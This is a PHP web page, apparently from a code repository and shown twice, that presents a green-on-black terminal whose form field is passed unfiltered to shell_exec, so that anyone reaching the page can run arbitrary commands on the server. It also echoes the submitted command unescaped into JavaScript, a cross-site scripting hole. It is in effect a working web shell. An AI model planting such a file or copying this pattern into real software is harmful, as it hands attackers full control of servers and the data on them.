fitsum/cmd.php

## cmd.php
<!DOCTYPE html>
<html class="no-js" lang="">
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <title>CMD</title>
        <meta name="description" content="">
        <meta name="viewport" content="width=device-width, initial-scale=1">
		<style type="text/css">
			/* Eric Meyer's Reset CSS v2.0 - http://cssreset.com */
			/*
			html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{border:0;font-size:100%;font:inherit;vertical-align:baseline;margin:0;padding:0}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:before,blockquote:after,q:before,q:after{content:none}table{border-collapse:collapse;border-spacing:0}
			*/
			body {font-size: 62.5%}
			body,input{
				background-color: black;
				color: green;
			}
			input,
			pre {font-size: 2em; font-family: monospace}
			input {
				width: 100%;
				padding-left: 1em;
				border: 0;
				border-bottom: solid 1px #020;
				outline: 0;
			}
			input:focus{outline: 0;}
			.prompt{
				position: absolute;
				top: 0.5em;
				font-size: 1.5em;
			}
			.arrow-prompt:after{content: ">";}
			.dollar-prompt:after{content: "$";}

		</style>
    </head>
    <body>
		<form action="./" method="POST">
			<input type="text" name="cmd" autofocus>
			<div class="prompt arrow-prompt"></div>
		</form>
		<div>
			<?php
				$output = shell_exec($_POST['cmd']);
				echo "<pre>$output</pre>";
			?>
		</div>
        <script type="text/javascript">
        	$ = function(x){return document.querySelectorAll(x);}
			W = function(x){console.warn(x)}
			A = function(x){alert(x)}
			L = function(x){console.log(x)}
			E = function(x){
				switch(x){
					case 38: lastCmd(); break;
				}
			}
			lastCmd = function(){
				// TODO: could make this loop over local storage data
				// TODO: safely escape "" and ''
				$('input')[0].value = "<?php echo $_POST['cmd']; ?>"
			}
			document.onreadystatechange = function(){
				if(document.readyState == "complete"){
					// arrow key click handler
					window.addEventListener('keyup',function(e){E(e.which)},false)
				}
			}
        </script>
    </body>
</html>
	<!DOCTYPE html>
	<html class="no-js" lang="">
	<head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>CMD</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<style type="text/css">
	/* Eric Meyer's Reset CSS v2.0 - http://cssreset.com */
	/*
	html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{border:0;font-size:100%;font:inherit;vertical-align:baseline;margin:0;padding:0}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:before,blockquote:after,q:before,q:after{content:none}table{border-collapse:collapse;border-spacing:0}
	*/
	body {font-size: 62.5%}
	body,input{
	background-color: black;
	color: green;
	}
	input,
	pre {font-size: 2em; font-family: monospace}
	input {
	width: 100%;
	padding-left: 1em;
	border: 0;
	border-bottom: solid 1px #020;
	outline: 0;
	}
	input:focus{outline: 0;}
	.prompt{
	position: absolute;
	top: 0.5em;
	font-size: 1.5em;
	}
	.arrow-prompt:after{content: ">";}
	.dollar-prompt:after{content: "$";}

	</style>
	</head>
	<body>
	<form action="./" method="POST">
	<input type="text" name="cmd" autofocus>
	<div class="prompt arrow-prompt"></div>
	</form>
	<div>
	<?php
	$output = shell_exec($_POST['cmd']);
	echo "<pre>$output</pre>";
	?>
	</div>
	<script type="text/javascript">
	$ = function(x){return document.querySelectorAll(x);}
	W = function(x){console.warn(x)}
	A = function(x){alert(x)}
	L = function(x){console.log(x)}
	E = function(x){
	switch(x){
	case 38: lastCmd(); break;
	}
	}
	lastCmd = function(){
	// TODO: could make this loop over local storage data
	// TODO: safely escape "" and ''
	$('input')[0].value = "<?php echo $_POST['cmd']; ?>"
	}
	document.onreadystatechange = function(){
	if(document.readyState == "complete"){
	// arrow key click handler
	window.addEventListener('keyup',function(e){E(e.which)},false)
	}
	}
	</script>
	</body>
	</html>